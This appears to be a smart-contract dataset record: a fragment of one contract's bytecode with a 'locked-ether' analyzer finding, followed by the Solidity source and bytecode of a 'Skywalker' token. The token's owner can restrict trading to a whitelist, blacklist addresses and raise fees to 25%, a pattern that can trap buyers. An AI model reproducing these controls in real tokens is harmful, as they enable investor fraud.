151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6001600160a01b03871660009081526002602052604090205460ff16610904576003805460018082019092557fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180546001600160a01b0319166001600160a01b038a169081179091556000908152600260205260409020805460ff191690911790555b6001600160a01b0387166000908152600160208181526040808420898552928301909152909120541561096257600086815260018201602052604090205461094c9083610f4a565b600087815260018301602052604090205561098c565b80546001818101835560008381526020808220909301899055888152908301909152604090208290555b6001600160a01b0380891660009081526020818152604080832093891683529290522080546109bb9084610f4a565b8155604080518082018252888152602080820186815260028086018054600181810183556000838152869020965191909302909501948555915193019290925582516001600160a01b038d1681529081018b90528083018a9052915190917fd6bbc989766039cda6ca06b473aabd4d296527497aadc6808e640e053427d2b3919081900360600190a150505050505050505050565b6001600160a01b038084166000908152602081815260408083209386168352929052908120600281018054839291839186908110610a8a57fe5b9060005260206000209060020201905080600001548160010154935093505050935093915050565b6007546001600160a01b031681565b6001600160a01b038083166000908152602081815260408083209385168352929052908120600281015482805b82811015610b3f576000846002018281548110610b0757fe5b906000526020600020906002020190504281600001541015610b36576001810154610b33908490610f4a565b92505b50600101610aee565b506001830154610b50908290610f01565b93505050505b92915050565b6000600554821015610bac576040805162461bcd60e51b815260206004820152601460248201527311195c1bdcda5d081a5cc81d1bdbc81cdb585b1b60621b604482015290519081900360640190fd5b6000610bcf610bc8600454600554610f0190919063ffffffff16565b8490610fa4565b90506000610be860055483610ffd90919063ffffffff16565b90506000610bf68583610f01565b95945050505050565b60008111610c3e5760405162461bcd60e51b81526004018080602001828103825260248152602001806112016024913960400191505060405180910390fd5b6001600160a01b038216610c95576040805162461bcd60e51b81526020600482015260196024820152780c1e0c081dd85b1b195d0818d85b9b9bdd081899481d5cd959603a1b604482015290519081900360640190fd5b6000610ca18333610ac1565b6001600160a01b0384166000908152602081815260408083203384529091529020600181015491925090610cd59084610f4a565b600182015581831115610d195760405162461bcd60e51b81526004018080602001828103825260388152602001806112256038913960400191505060405180910390fd5b6040805163a9059cbb60e01b81523360048201526024810185905290516001600160a01b0386169163a9059cbb9160448083019260209291908290030181600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b505050506040513d6020811015610d9257600080fd5b5051610dd7576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b604080516001600160a01b03861681526020810185905281517fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc929181900390910190a150505050565b6006546001600160a01b031681565b60038181548110610e4057600080fd5b6000918252602090912001546001600160a01b0316905081565b6001600160a01b039182166000908152602081815260408083209390941682529190915220805460018201546002909201549092565b60045481565b60026020526000908152604090205460ff1681565b6001600160a01b038216600090815260016020526040812080548291908290829086908110610ed657fe5b6000918252602080832090910154808352600190940190526040902054919350909150509250929050565b6000610f4383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103f565b9392505050565b600082820183811015610f43576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610fb357506000610b56565b82820282848281610fc057fe5b0414610f435760405162461bcd60e51b81526004018080602001828103825260218152602001806111e06021913960400191505060405180910390fd5b6000610f4383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110d6565b600081848411156110ce5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561109357818101518382015260200161107b565b50505050905090810190601f1680156110c05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836111255760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561109357818101518382015260200161107b565b50600083858161113157fe5b049594505050505056fe3078302077616c6c65742063616e6e6f74206265207573656420746f20776974686472617720746f6b656e73456e74657220616e20756e69782074696d657374616d7020696e207365636f6e64732c206e6f74206d696c697365636f6e6473596f757220617474656d7074696e6720746f2074726173666572203020746f6b656e73596f75206e65656420746f2073657420612068696768657220616c6c6f77616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77596f757220617474656d7074696e6720746f207769746864726177203020746f6b656e73596f757220617474656d7074696e6720746f207769746864726177206d6f7265207468616e20796f75206861766520617661696c61626c65a2646970667358221220965c96584d0551f250d1b59b16f0cd6c085d888045b50f929dd3cab73fd6a75164736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,358
0xd4ff0c24285c48f748fcfff926f52a824f1df834
//104 116 116 112 115 58 47 47 116 46 109 101 47 65 108 112 104 97 76 97 117 110 99 104 101 115 //ASCII // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Sky is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Skywalker"; string private constant _symbol = "SKY"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; // 0% uint256 private _teamFee = 10; // 10% Marketing and Development Fee uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => bool) private whitelist; mapping(address => uint256) private cooldown; address payable private _StarTax; address payable private _Sky; address payable private _MoonTax; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private publicsale = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable startax, address payable moontax, address payable sky) { _StarTax = startax; _Sky = sky; _MoonTax = moontax; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_StarTax] = true; _isExcludedFromFee[_MoonTax] = true; _isExcludedFromFee[_Sky] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } if(!publicsale){ require(whitelist[from] || whitelist[to] || whitelist[msg.sender]); } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function isWhiteListed(address account) public view returns (bool) { return whitelist[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _StarTax.transfer(amount.div(2)); _MoonTax.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; publicsale = false; _maxTxAmount = 20000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Sky); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Sky); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Sky); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function setWhitelist(address[] memory whitelist_) public onlyOwner() { for (uint256 i = 0; i < whitelist_.length; i++) { whitelist[whitelist_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Sky); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 0 && teamFee <= 25, 'teamFee should be in 0 - 25'); _teamFee = teamFee; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setStars(address payable account) external { require(_msgSender() == _Sky); _StarTax = account; } function setSky(address payable account) external { require(_msgSender() == _Sky); _Sky = account; } function setMoon(address payable account) external { require(_msgSender() == _Sky); _MoonTax = account; } function OpenPublic() external onlyOwner() { publicsale = true; } }
0x6080604052600436106101d15760003560e01c80639d9e20f4116100f7578063cba0e99611610095578063dd62ed3e11610064578063dd62ed3e1461055a578063e01af92c146105a0578063e47d6060146105c0578063f4217648146105f957600080fd5b8063cba0e996146104d6578063cdeda4c61461050f578063d00efb2f14610524578063d543dbeb1461053a57600080fd5b8063b515566a116100d1578063b515566a1461046c578063c0e6b46e1461048c578063c3c8cd80146104ac578063c9567bf9146104c157600080fd5b80639d9e20f41461040c578063a34e93431461042c578063a9059cbb1461044c57600080fd5b8063437823ec1161016f578063715018a61161013e578063715018a614610383578063850e56ab146103985780638da5cb5b146103b857806395d89b41146103e057600080fd5b8063437823ec146102f55780636f9170f6146103155780636fc3eaec1461034e57806370a082311461036357600080fd5b806323b872dd116101ab57806323b872dd14610277578063273123b71461029757806328667162146102b9578063313ce567146102d957600080fd5b806306fdde03146101dd578063095ea7b31461022157806318160ddd1461025157600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201909152600981526829b5bcbbb0b635b2b960b91b60208201525b6040516102189190611eb3565b60405180910390f35b34801561022d57600080fd5b5061024161023c366004611d44565b610619565b6040519015158152602001610218565b34801561025d57600080fd5b50683635c9adc5dea000005b604051908152602001610218565b34801561028357600080fd5b50610241610292366004611d04565b610630565b3480156102a357600080fd5b506102b76102b2366004611c94565b610699565b005b3480156102c557600080fd5b506102b76102d4366004611e6e565b6106ed565b3480156102e557600080fd5b5060405160098152602001610218565b34801561030157600080fd5b506102b7610310366004611c94565b61076d565b34801561032157600080fd5b50610241610330366004611c94565b6001600160a01b03166000908152600f602052604090205460ff1690565b34801561035a57600080fd5b506102b76107bb565b34801561036f57600080fd5b5061026961037e366004611c94565b6107e8565b34801561038f57600080fd5b506102b761080a565b3480156103a457600080fd5b506102b76103b3366004611c94565b61087e565b3480156103c457600080fd5b506000546040516001600160a01b039091168152602001610218565b3480156103ec57600080fd5b50604080518082019091526003815262534b5960e81b602082015261020b565b34801561041857600080fd5b506102b7610427366004611c94565b6108c0565b34801561043857600080fd5b506102b7610447366004611c94565b610902565b34801561045857600080fd5b50610241610467366004611d44565b610944565b34801561047857600080fd5b506102b7610487366004611d6f565b610951565b34801561049857600080fd5b506102b76104a7366004611e6e565b6109f5565b3480156104b857600080fd5b506102b7610a8a565b3480156104cd57600080fd5b506102b7610ac0565b3480156104e257600080fd5b506102416104f1366004611c94565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561051b57600080fd5b506102b7610e87565b34801561053057600080fd5b5061026960175481565b34801561054657600080fd5b506102b7610555366004611e6e565b610ec6565b34801561056657600080fd5b50610269610575366004611ccc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ac57600080fd5b506102b76105bb366004611e36565b610f93565b3480156105cc57600080fd5b506102416105db366004611c94565b6001600160a01b03166000908152600e602052604090205460ff1690565b34801561060557600080fd5b506102b7610614366004611d6f565b610fd1565b6000610626338484611071565b5060015b92915050565b600061063d848484611195565b61068f843361068a85604051806060016040528060288152602001612084602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906114ea565b611071565b5060019392505050565b6000546001600160a01b031633146106cc5760405162461bcd60e51b81526004016106c390611f06565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146107175760405162461bcd60e51b81526004016106c390611f06565b60198111156107685760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2030202d203235000000000060448201526064016106c3565b600955565b6000546001600160a01b031633146107975760405162461bcd60e51b81526004016106c390611f06565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6012546001600160a01b0316336001600160a01b0316146107db57600080fd5b476107e581611524565b50565b6001600160a01b03811660009081526002602052604081205461062a906115a9565b6000546001600160a01b031633146108345760405162461bcd60e51b81526004016106c390611f06565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6012546001600160a01b0316336001600160a01b03161461089e57600080fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6012546001600160a01b0316336001600160a01b0316146108e057600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6012546001600160a01b0316336001600160a01b03161461092257600080fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000610626338484611195565b6000546001600160a01b0316331461097b5760405162461bcd60e51b81526004016106c390611f06565b60005b81518110156109f1576001600e60008484815181106109ad57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109e981612019565b91505061097e565b5050565b6012546001600160a01b0316336001600160a01b031614610a1557600080fd5b60008111610a655760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016106c3565b610a84612710610a7e683635c9adc5dea000008461162d565b906116ac565b600d5550565b6012546001600160a01b0316336001600160a01b031614610aaa57600080fd5b6000610ab5306107e8565b90506107e5816116ee565b6000546001600160a01b03163314610aea5760405162461bcd60e51b81526004016106c390611f06565b601554600160a01b900460ff1615610b445760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016106c3565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b813082683635c9adc5dea00000611071565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bba57600080fd5b505afa158015610bce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf29190611cb0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c3a57600080fd5b505afa158015610c4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c729190611cb0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610cba57600080fd5b505af1158015610cce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf29190611cb0565b601580546001600160a01b0319166001600160a01b039283161790556014541663f305d7194730610d22816107e8565b600080610d376000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d9a57600080fd5b505af1158015610dae573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dd39190611e86565b5050601580546801158e460913d000006016554360175563ffff00ff60a01b1981166201000160a01b1790915560145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610e4f57600080fd5b505af1158015610e63573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f19190611e52565b6000546001600160a01b03163314610eb15760405162461bcd60e51b81526004016106c390611f06565b6015805460ff60b81b1916600160b81b179055565b6000546001600160a01b03163314610ef05760405162461bcd60e51b81526004016106c390611f06565b60008111610f405760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016106c3565b610f586064610a7e683635c9adc5dea000008461162d565b60168190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6012546001600160a01b0316336001600160a01b031614610fb357600080fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610ffb5760405162461bcd60e51b81526004016106c390611f06565b60005b81518110156109f1576001600f600084848151811061102d57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061106981612019565b915050610ffe565b6001600160a01b0383166110d35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c3565b6001600160a01b0382166111345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106c3565b6001600160a01b03821661125b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106c3565b600081116112bd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106c3565b6000546001600160a01b038481169116148015906112e957506000546001600160a01b03838116911614155b1561148d576001600160a01b038316301461130d5760165481111561130d57600080fd5b601554600160b81b900460ff16611380576001600160a01b0383166000908152600f602052604090205460ff168061135d57506001600160a01b0382166000908152600f602052604090205460ff165b806113775750336000908152600f602052604090205460ff165b61138057600080fd5b6001600160a01b0383166000908152600e602052604090205460ff161580156113c257506001600160a01b0382166000908152600e602052604090205460ff16155b80156113de5750336000908152600e602052604090205460ff16155b6113e757600080fd5b60006113f2306107e8565b9050600d5481106114025750600d545b600c546015549082101590600160a81b900460ff1615801561142d5750601554600160b01b900460ff165b80156114365750805b801561145057506015546001600160a01b03868116911614155b801561146a57506014546001600160a01b03868116911614155b1561148a57611478826116ee565b4780156114885761148847611524565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806114cf57506001600160a01b03831660009081526005602052604090205460ff165b156114d8575060005b6114e484848484611893565b50505050565b6000818484111561150e5760405162461bcd60e51b81526004016106c39190611eb3565b50600061151b8486612002565b95945050505050565b6011546001600160a01b03166108fc61153e8360026116ac565b6040518115909202916000818181858888f19350505050158015611566573d6000803e3d6000fd5b506013546001600160a01b03166108fc6115818360026116ac565b6040518115909202916000818181858888f193505050501580156109f1573d6000803e3d6000fd5b60006006548211156116105760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106c3565b600061161a6118c1565b905061162683826116ac565b9392505050565b60008261163c5750600061062a565b60006116488385611fe3565b9050826116558583611fc3565b146116265760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106c3565b600061162683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118e4565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061174457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561179857600080fd5b505afa1580156117ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d09190611cb0565b816001815181106117f157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546118179130911684611071565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611850908590600090869030904290600401611f3b565b600060405180830381600087803b15801561186a57600080fd5b505af115801561187e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806118a0576118a0611912565b6118ab848484611940565b806114e4576114e4600a54600855600b54600955565b60008060006118ce611a37565b90925090506118dd82826116ac565b9250505090565b600081836119055760405162461bcd60e51b81526004016106c39190611eb3565b50600061151b8486611fc3565b6008541580156119225750600954155b1561192957565b60088054600a5560098054600b5560009182905555565b60008060008060008061195287611a79565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119849087611ad6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119b39086611b18565b6001600160a01b0389166000908152600260205260409020556119d581611b77565b6119df8483611bc1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a2491815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611a5382826116ac565b821015611a7057505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611a968a600854600954611be5565b9250925092506000611aa66118c1565b90506000806000611ab98e878787611c34565b919e509c509a509598509396509194505050505091939550919395565b600061162683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114ea565b600080611b258385611fab565b9050838110156116265760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106c3565b6000611b816118c1565b90506000611b8f838361162d565b30600090815260026020526040902054909150611bac9082611b18565b30600090815260026020526040902055505050565b600654611bce9083611ad6565b600655600754611bde9082611b18565b6007555050565b6000808080611bf96064610a7e898961162d565b90506000611c0c6064610a7e8a8961162d565b90506000611c2482611c1e8b86611ad6565b90611ad6565b9992985090965090945050505050565b6000808080611c43888661162d565b90506000611c51888761162d565b90506000611c5f888861162d565b90506000611c7182611c1e8686611ad6565b939b939a50919850919650505050505050565b8035611c8f81612060565b919050565b600060208284031215611ca5578081fd5b813561162681612060565b600060208284031215611cc1578081fd5b815161162681612060565b60008060408385031215611cde578081fd5b8235611ce981612060565b91506020830135611cf981612060565b809150509250929050565b600080600060608486031215611d18578081fd5b8335611d2381612060565b92506020840135611d3381612060565b929592945050506040919091013590565b60008060408385031215611d56578182fd5b8235611d6181612060565b946020939093013593505050565b60006020808385031215611d81578182fd5b823567ffffffffffffffff80821115611d98578384fd5b818501915085601f830112611dab578384fd5b813581811115611dbd57611dbd61204a565b8060051b604051601f19603f83011681018181108582111715611de257611de261204a565b604052828152858101935084860182860187018a1015611e00578788f